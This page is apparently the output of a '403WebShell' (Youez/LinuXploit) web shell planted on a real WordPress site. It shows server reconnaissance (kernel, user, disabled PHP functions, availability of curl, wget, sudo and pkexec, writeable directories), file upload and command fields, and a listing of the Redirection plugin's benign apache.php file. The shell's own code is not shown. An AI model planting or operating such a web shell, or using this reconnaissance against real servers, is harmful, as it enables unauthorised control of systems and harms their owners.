Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.4  /  Your IP : 104.23.197.230
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/blog.ecoledelangues.be/wp-content/plugins/redirection/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/blog.ecoledelangues.be/wp-content/plugins/redirection/modules/apache.php
<?php

class Apache_Module extends Red_Module {
	const MODULE_ID = 2;

	private $location  = '';

	public function get_id() {
		return self::MODULE_ID;
	}

	public function get_name() {
		return 'Apache';
	}

	public function get_location() {
		return $this->location;
	}

	protected function load( $data ) {
		$mine = array( 'location' );

		foreach ( $mine as $key ) {
			if ( isset( $data[ $key ] ) ) {
				$this->$key = $data[ $key ];
			}
		}
	}

	protected function flush_module() {
		include_once dirname( dirname( __FILE__ ) ) . '/models/htaccess.php';

		if ( empty( $this->location ) ) {
			return;
		}

		$items = Red_Item::get_all_for_module( $this->get_id() );

		// Produce the .htaccess file
		$htaccess = new Red_Htaccess();
		if ( is_array( $items ) && count( $items ) > 0 ) {
			foreach ( $items as $item ) {
				if ( $item->is_enabled() ) {
					$htaccess->add( $item );
				}
			}
		}

		return $htaccess->save( $this->location );
	}

	public function can_save( $location ) {
		$location = $this->sanitize_location( $location );

		if ( @fopen( $location, 'a' ) === false ) {
			$error = error_get_last();
			return new WP_Error( 'redirect', isset( $error['message'] ) ? $error['message'] : 'Unknown error' );
		}

		return true;
	}

	private function sanitize_location( $location ) {
		$location = rtrim( $location, '/' ) . '/.htaccess';
		return rtrim( dirname( $location ), '/' ) . '/.htaccess';
	}

	public function update( array $data ) {
		include_once dirname( dirname( __FILE__ ) ) . '/models/htaccess.php';

		$save = [
			'location' => isset( $data['location'] ) ? $this->sanitize_location( trim( $data['location'] ) ) : '',
		];

		if ( ! empty( $this->location ) && $save['location'] !== $this->location ) {
			// Location has moved. Remove from old location
			$htaccess = new Red_Htaccess();
			$htaccess->save( $this->location, '' );
		}

		$this->load( $save );

		if ( $save['location'] !== '' && $this->flush_module() === false ) {
			$save['location'] = '';
		}

		return $save;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit